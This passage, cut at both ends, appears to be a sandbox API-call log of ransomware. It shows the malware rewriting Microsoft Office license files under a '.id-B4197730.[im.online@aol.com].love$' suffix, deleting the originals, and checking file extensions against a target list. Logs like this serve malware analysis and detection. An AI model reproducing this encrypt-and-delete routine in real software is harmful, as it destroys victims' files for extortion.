office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0265.980] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=21606) returned 1 [0265.980] CloseHandle (hObject=0x4b0) returned 1 [0265.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 0x220 [0265.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0265.981] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.981] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0265.983] GetLastError () returned 0x0 [0265.983] ReadFile (in: hFile=0x4b0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x5466, lpOverlapped=0x0) returned 1 [0266.169] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x5470, lpOverlapped=0x0) returned 1 [0266.171] ReadFile (in: hFile=0x4b0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.171] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x114, lpOverlapped=0x0) returned 1 [0266.171] SetEndOfFile (hFile=0x534) returned 1 [0266.171] CloseHandle (hObject=0x534) returned 1 [0266.171] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.172] SetEndOfFile (hFile=0x4b0) returned 1 [0266.175] CloseHandle (hObject=0x4b0) returned 1 [0266.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 1 [0266.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0266.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0266.183] lstrlenW (lpString=".doc") returned 4 [0266.183] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.183] lstrlenW (lpString=".docx") returned 5 [0266.183] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.183] lstrlenW (lpString=".pdf") returned 4 [0266.183] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.183] lstrlenW (lpString=".xls") returned 4 [0266.183] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.183] lstrlenW (lpString=".xlsx") returned 5 [0266.183] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.183] lstrlenW (lpString=".ppt") returned 4 [0266.183] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0266.183] lstrlenW (lpString=".zip") returned 4 [0266.183] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.184] lstrlenW (lpString=".rar") returned 4 [0266.184] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.184] lstrlenW (lpString=".bz2") returned 4 [0266.184] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.184] lstrlenW (lpString=".7z") returned 3 [0266.184] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0266.184] lstrlenW (lpString=".dbf") returned 4 [0266.184] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0266.184] lstrlenW (lpString=".1cd") returned 4 [0266.184] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0266.184] lstrlenW (lpString=".jpg") returned 4 [0266.184] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0266.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0266.184] lstrlenW (lpString=".doc") returned 4 [0266.184] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.184] lstrlenW (lpString=".docx") returned 5 [0266.184] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.184] lstrlenW (lpString=".pdf") returned 4 [0266.184] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.184] lstrlenW (lpString=".xls") returned 4 [0266.184] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.185] lstrlenW (lpString=".xlsx") returned 5 [0266.185] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.185] lstrlenW (lpString=".ppt") returned 4 [0266.185] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0266.185] lstrlenW (lpString=".zip") returned 4 [0266.185] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.185] lstrlenW (lpString=".rar") returned 4 [0266.185] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.185] lstrlenW (lpString=".bz2") returned 4 [0266.185] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.185] lstrlenW (lpString=".7z") returned 3 [0266.185] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0266.185] lstrlenW (lpString=".dbf") returned 4 [0266.185] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0266.185] lstrlenW (lpString=".1cd") returned 4 [0266.185] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0266.185] lstrlenW (lpString=".jpg") returned 4 [0266.185] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.186] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0266.186] lstrlenW (lpString="HomeStudentR_Retail-ppd.xrm-ms") returned 30 [0266.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0266.187] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=21604) returned 1 [0266.187] CloseHandle (hObject=0x4b0) returned 1 [0266.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 0x220 [0266.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0266.189] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.189] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0266.191] GetLastError () returned 0x0 [0266.191] ReadFile (in: hFile=0x4b0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x5464, lpOverlapped=0x0) returned 1 [0266.237] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x5470, lpOverlapped=0x0) returned 1 [0266.303] ReadFile (in: hFile=0x4b0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.303] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x110, lpOverlapped=0x0) returned 1 [0266.303] SetEndOfFile (hFile=0x534) returned 1 [0266.304] CloseHandle (hObject=0x534) returned 1 [0266.304] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.304] SetEndOfFile (hFile=0x4b0) returned 1 [0266.308] CloseHandle (hObject=0x4b0) returned 1 [0266.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 1 [0266.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0266.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0266.311] lstrlenW (lpString=".doc") returned 4 [0266.311] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.311] lstrlenW (lpString=".docx") returned 5 [0266.311] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.311] lstrlenW (lpString=".pdf") returned 4 [0266.311] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.311] lstrlenW (lpString=".xls") returned 4 [0266.311] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.311] lstrlenW (lpString=".xlsx") returned 5 [0266.311] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.311] lstrlenW (lpString=".ppt") returned 4 [0266.312] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0266.312] lstrlenW (lpString=".zip") returned 4 [0266.312] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.312] lstrlenW (lpString=".rar") returned 4 [0266.312] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.312] lstrlenW (lpString=".bz2") returned 4 [0266.312] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.312] lstrlenW (lpString=".7z") returned 3 [0266.312] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0266.312] lstrlenW (lpString=".dbf") returned 4 [0266.312] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0266.312] lstrlenW (lpString=".1cd") returned 4 [0266.312] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0266.312] lstrlenW (lpString=".jpg") returned 4 [0266.312] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0266.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0266.312] lstrlenW (lpString=".doc") returned 4 [0266.312] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.312] lstrlenW (lpString=".docx") returned 5 [0266.313] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.313] lstrlenW (lpString=".pdf") returned 4 [0266.313] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.313] lstrlenW (lpString=".xls") returned 4 [0266.313] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.313] lstrlenW (lpString=".xlsx") returned 5 [0266.313] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.313] lstrlenW (lpString=".ppt") returned 4 [0266.313] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0266.313] lstrlenW (lpString=".zip") returned 4 [0266.313] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.313] lstrlenW (lpString=".rar") returned 4 [0266.313] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.313] lstrlenW (lpString=".bz2") returned 4 [0266.313] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.313] lstrlenW (lpString=".7z") returned 3 [0266.313] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0266.313] lstrlenW (lpString=".dbf") returned 4 [0266.313] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0266.313] lstrlenW (lpString=".1cd") returned 4 [0266.313] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0266.313] lstrlenW (lpString=".jpg") returned 4 [0266.314] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.314] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0266.314] lstrlenW (lpString="HomeStudentR_Retail-ul-oob.xrm-ms") returned 33 [0266.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0266.315] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11604) returned 1 [0266.316] CloseHandle (hObject=0x4b0) returned 1 [0266.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 0x220 [0266.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0266.317] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.317] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0266.319] GetLastError () returned 0x0 [0266.319] ReadFile (in: hFile=0x4b0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d54, lpOverlapped=0x0) returned 1 [0266.446] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0266.447] ReadFile (in: hFile=0x4b0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.447] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x116, lpOverlapped=0x0) returned 1 [0266.448] SetEndOfFile (hFile=0x534) returned 1 [0266.448] CloseHandle (hObject=0x534) returned 1 [0266.448] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.448] SetEndOfFile (hFile=0x4b0) returned 1 [0266.452] CloseHandle (hObject=0x4b0) returned 1 [0266.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 1 [0266.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0266.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0266.459] lstrlenW (lpString=".doc") returned 4 [0266.459] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.459] lstrlenW (lpString=".docx") returned 5 [0266.459] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.459] lstrlenW (lpString=".pdf") returned 4 [0266.459] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.459] lstrlenW (lpString=".xls") returned 4 [0266.459] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.459] lstrlenW (lpString=".xlsx") returned 5 [0266.459] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.459] lstrlenW (lpString=".ppt") returned 4 [0266.459] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0266.459] lstrlenW (lpString=".zip") returned 4 [0266.459] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.460] lstrlenW (lpString=".rar") returned 4 [0266.460] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.460] lstrlenW (lpString=".bz2") returned 4 [0266.460] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.460] lstrlenW (lpString=".7z") returned 3 [0266.460] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0266.460] lstrlenW (lpString=".dbf") returned 4 [0266.460] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0266.460] lstrlenW (lpString=".1cd") returned 4 [0266.460] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0266.460] lstrlenW (lpString=".jpg") returned 4 [0266.460] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0266.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0266.460] lstrlenW (lpString=".doc") returned 4 [0266.460] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.460] lstrlenW (lpString=".docx") returned 5 [0266.460] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.460] lstrlenW (lpString=".pdf") returned 4 [0266.461] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.461] lstrlenW (lpString=".xls") returned 4 [0266.461] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.461] lstrlenW (lpString=".xlsx") returned 5 [0266.461] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.461] lstrlenW (lpString=".ppt") returned 4 [0266.461] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0266.461] lstrlenW (lpString=".zip") returned 4 [0266.461] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.461] lstrlenW (lpString=".rar") returned 4 [0266.461] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.461] lstrlenW (lpString=".bz2") returned 4 [0266.461] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.461] lstrlenW (lpString=".7z") returned 3 [0266.461] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0266.461] lstrlenW (lpString=".dbf") returned 4 [0266.461] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0266.461] lstrlenW (lpString=".1cd") returned 4 [0266.461] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.461] lstrlenW (lpString="C:\\Program Files\\Microsoft 